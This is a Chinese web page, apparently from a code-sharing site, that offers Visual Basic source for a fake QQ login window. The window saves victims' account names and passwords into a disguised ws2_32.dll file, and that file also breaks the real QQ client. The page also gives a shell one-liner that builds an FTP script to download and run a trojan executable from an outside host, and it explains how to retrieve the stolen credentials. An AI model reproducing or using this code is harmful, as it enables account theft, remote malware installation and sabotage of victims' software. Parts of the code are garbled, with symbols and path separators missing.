【VB开源代码栏目提醒】:网学会员VB开源代码为您提供用vb编写的盗qq登录器和破坏qq程序 - 其它论文参考,解决您在用vb编写的盗qq登录器和破坏qq程序 - 其它论文学习中工作中的难题,参考学习。
一. 先画出
VB的
登陆界面 一看就是假的. 呵呵. 自己画的不太好. Private Sub Command1_Click Dim a As String Dim b As String a Text1.Text b Text2.Text Open C:Program FilesTencentQQws2_32.dll For Append As 1 Print 1 a b Close 1 设置下命令: MsgBox 操作成功请你启动您的QQ再次登入 bokonly vbExclamation 操作成功 End Sub
代码写给大家
代码是意思是 主要是要输出一个dll文件在一个你指定的路径. 对方只要重了我们的马呢你可以直接到对方的PC里面的这个指令路径 将dll文件改成txt文件 下面的
代码是下载文件的
代码: Private Sub Command1_Click Shell cmd /c echo open http://hi.baidu.com/mythvistamythvista.txtecho mythvistamythvista.txtecho mythvistamythvista.txtecho binmythvista.txtecho get /myth.exemythvista.txtecho byemythvista.txtftp -s:mythvista.txtdel mythvista.txtmp.exe End Sub 看到混乱的
代码千万不要头疼.我来解释一下 http://hi.baidu.com/mythvista你的FTP地址 mythvista你的FTP帐号 mythvista 你的FTP密码 你FTP木马程序的名称 Myth.exe你所要运行的
程序名称 我们在这当然打上木马的名称罗 然后生成出来. 这个就是自己的个性盗号木马拉。
. 二 . 研究下他的破坏性.为什么说他有破坏程序的作用呢 在看看上面的第一段
代码 Private Sub Command1_Click Dim a As String Dim b As String a Text1.Text b Text2.Text Open C:Program FilesTencentQQws2_32.dll For Append As 1 Print 1 a b Close 1 设置下命令: MsgBox 操作成功请你启动您的QQ再次登入 bokonly vbExclamation 操作成功 End Sub Open C:Program FilesTencentQQws2_32.dll For Append As 1 看这句话. 这个意思是点击按钮后.
系统自动把帐号密码生成到 C:Program FilesTencentQQws2_32.dll 而大家可能都不知道.. ws2_32.dll 只要把这个文件建到一个程序的目录下. 这个文件就无法正常运行 可想而知. 我们这个盗号工具. 可以当成正常的原版Q来运行. 因为原版已经被我们屏蔽了 要是查看号码和密码. 就把ws2_32.dll 改为ws2_32.txt 就可以拉.